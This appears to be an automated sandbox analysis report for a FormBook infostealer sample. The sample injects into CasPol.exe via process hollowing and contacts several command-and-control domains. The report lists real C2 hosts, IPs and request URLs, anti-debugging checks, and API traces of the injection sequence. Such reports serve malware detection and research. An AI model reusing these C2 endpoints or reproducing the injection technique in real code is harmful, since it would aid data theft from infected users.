Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 28, 2023, 7:42 a.m.	June 28, 2023, 7:53 a.m.

Size	319.5KB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`5ba4bab377c6656e50a48cd48bd84c59`
SHA256	`bc54380e0004ee82e6e6a07b4dc3c37481572257294fabc856248e597bcb8ccd`
CRC32	`2F02E99C`
ssdeep	`6144:c3QLMIdc1UkV3IM3tl72olNKGlkH+SYCIByNkjxBplE2AukfCsLPVSOt:OQFcSkVYA6yFjx1/ARCsLPVSOt`
PDB Path	NMkLiJJ.pdb
Yara	IsPE64 - (no description) ConfuserEx_Zero - Confuser .NET PE_Header_Zero - PE File Signature

R.exe "C:\Users\test22\AppData\Local\Temp\R.exe"
1344
- CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2652

Name	Response	Post-Analysis Lookup
www.bluhenhalfte.xyz	A 109.123.121.243	109.123.121.243
www.g2g2sport.xyz	A 198.54.117.218 A 198.54.117.216 A 198.54.117.217 CNAME parkingpage.namecheap.com A 198.54.117.215 A 198.54.117.212 A 198.54.117.210 A 198.54.117.211	198.54.117.210
www.windmarkdijital.xyz	CNAME natroredirect.natrocdn.com CNAME redirect.natrocdn.com A 85.159.66.93	85.159.66.93
www.solarwachstum.com	A 89.31.143.1	89.31.143.1
www.suzheng22.top	A 172.67.162.131 A 104.21.42.144	172.67.162.131
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
109.123.121.243	Active	Moloch
164.124.101.2	Active	Moloch
172.67.162.131	Active	Moloch
198.54.117.211	Active	Moloch
45.33.6.223	Active	Moloch
85.159.66.93	Active	Moloch
89.31.143.1	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:53673 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.103:49175 -> 172.67.162.131:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 109.123.121.243:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49176 -> 198.54.117.211:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49179 -> 85.159.66.93:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 172.67.162.131:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 89.31.143.1:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 89.31.143.1:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 89.31.143.1:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 172.67.162.131:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 109.123.121.243:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 172.67.162.131:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 109.123.121.243:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 172.67.162.131:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 198.54.117.211:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 109.123.121.243:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 172.67.162.131:80	2031089	ET HUNTING Request to .TOP Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 198.54.117.211:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 109.123.121.243:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 198.54.117.211:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 198.54.117.211:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 28, 2023, 7:35 a.m.			0	0
IsDebuggerPresent June 28, 2023, 7:35 a.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

NMkLiJJ.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 28, 2023, 7:35 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

Cqk{\x12W)\x16

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.solarwachstum.com/p9ao/?Uxk=CRBGmlvLKSdWYJTLFdYUqNcl5XacT7p2l/bsj7rBz10wHnkWrMrpIEuQZVcc3zXzkIzXuCRWtiUMrr5dZy1sHRpRgJUYDyiz+Rr4X1g=&5Vxux=S3XwcJd1aE_
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.bluhenhalfte.xyz/p9ao/?Uxk=vRFPeW+a5eWj78d95ZChSzUnWBErJOu6BL+rqrQuXzoLgBIyf+8wG4E0yzEkSL259muf+heCu3SYFxv43Rue+P6JisHwLR8+s0aKyro=&5Vxux=S3XwcJd1aE_
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.suzheng22.top/p9ao/?Uxk=UF1gbyBA2KpG8m0Rm9ehbXR0zJmaFb1dyUpi9VFZIpYgOTVtiTl0F+cTQPY8C/xJkCHyK8gaxezu3hN4hseR4mpCn7WT9y60MQraZ8Q=&5Vxux=S3XwcJd1aE_
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.g2g2sport.xyz/p9ao/?Uxk=XT67LxJVileSUZubvPnUPegaTgZ/6jQtKal3VjDKoEwa5II03LuvqSNChaRu2iUoBEt/Y1rs6QWzksNnW/YxdPu4ukuWTQMQOAWrwp4=&5Vxux=S3XwcJd1aE_

Performs some HTTP requests (10 events)

request	POST http://www.solarwachstum.com/p9ao/
request	GET http://www.solarwachstum.com/p9ao/?Uxk=CRBGmlvLKSdWYJTLFdYUqNcl5XacT7p2l/bsj7rBz10wHnkWrMrpIEuQZVcc3zXzkIzXuCRWtiUMrr5dZy1sHRpRgJUYDyiz+Rr4X1g=&5Vxux=S3XwcJd1aE_
request	GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3390000.zip
request	POST http://www.bluhenhalfte.xyz/p9ao/
request	GET http://www.bluhenhalfte.xyz/p9ao/?Uxk=vRFPeW+a5eWj78d95ZChSzUnWBErJOu6BL+rqrQuXzoLgBIyf+8wG4E0yzEkSL259muf+heCu3SYFxv43Rue+P6JisHwLR8+s0aKyro=&5Vxux=S3XwcJd1aE_
request	POST http://www.suzheng22.top/p9ao/
request	GET http://www.suzheng22.top/p9ao/?Uxk=UF1gbyBA2KpG8m0Rm9ehbXR0zJmaFb1dyUpi9VFZIpYgOTVtiTl0F+cTQPY8C/xJkCHyK8gaxezu3hN4hseR4mpCn7WT9y60MQraZ8Q=&5Vxux=S3XwcJd1aE_
request	POST http://www.g2g2sport.xyz/p9ao/
request	GET http://www.g2g2sport.xyz/p9ao/?Uxk=XT67LxJVileSUZubvPnUPegaTgZ/6jQtKal3VjDKoEwa5II03LuvqSNChaRu2iUoBEt/Y1rs6QWzksNnW/YxdPu4ukuWTQMQOAWrwp4=&5Vxux=S3XwcJd1aE_
request	POST http://www.windmarkdijital.xyz/p9ao/

Sends data using the HTTP POST Method (5 events)

request	POST http://www.solarwachstum.com/p9ao/
request	POST http://www.bluhenhalfte.xyz/p9ao/
request	POST http://www.suzheng22.top/p9ao/
request	POST http://www.g2g2sport.xyz/p9ao/
request	POST http://www.windmarkdijital.xyz/p9ao/

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

www.suzheng22.top

description

Generic top level domain TLD

Allocates read-write-execute memory (usually to unpack itself) (50 out of 59 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c00000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3c8b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002570000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e6a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e7c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f91000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f92000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f46000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 290816 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000ba2000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f94000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f96000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f97000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f98000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f99000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e6b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f9f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 28, 2023, 7:35 a.m.	process_identifier: 1344 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00046c00', u'virtual_address': u'0x00002000', u'entropy': 7.999319638200751, u'name': u'Cqk{\\x12W)\\x16', u'virtual_size': u'0x00046a80'}

entropy

7.9993196382

description

A section with a high entropy has been found

entropy

0.888540031397

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 28, 2023, 7:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory June 28, 2023, 7:36 a.m.	process_identifier: 2652 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000000000021c	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}õ}õ}Ò»Íö}Ò»Ïô}Ò»Îô}Richõ}PELZ,î?àØàð@ð@.text´ÖØ ` base_address: 0x0000000000400000 process_identifier: 2652 process_handle: 0x000000000000021c	1	1	0
WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: @ base_address: 0x000000007efde008 process_identifier: 2652 process_handle: 0x000000000000021c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}õ}õ}Ò»Íö}Ò»Ïô}Ò»Îô}Richõ}PELZ,î?àØàð@ð@.text´ÖØ ` base_address: 0x0000000000400000 process_identifier: 2652 process_handle: 0x000000000000021c	1	1	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1344 resumed a thread in remote process 2652
NtResumeThread June 28, 2023, 7:36 a.m.	thread_handle: 0x0000000000000164 suspend_count: 1 process_identifier: 2652	1	0	0

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x0000000000000138 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x0000000000000180 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x00000000000001e0 suspend_count: 1 process_identifier: 1344	1	0
NtGetContextThread June 28, 2023, 7:35 a.m.	thread_handle: 0x00000000000000c8	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x00000000000000c8 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x00000000000001f4 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:35 a.m.	thread_handle: 0x0000000000000218 suspend_count: 1 process_identifier: 1344	1	0
NtResumeThread June 28, 2023, 7:36 a.m.	thread_handle: 0x00000000000001e0 suspend_count: 1 process_identifier: 1344	1	0
CreateProcessInternalW June 28, 2023, 7:36 a.m.	thread_identifier: 2656 thread_handle: 0x0000000000000164 process_identifier: 2652 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe track: 1 command_line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe" filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000000000000021c	1	1
NtAllocateVirtualMemory June 28, 2023, 7:36 a.m.	process_identifier: 2652 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000000000021c	1	0
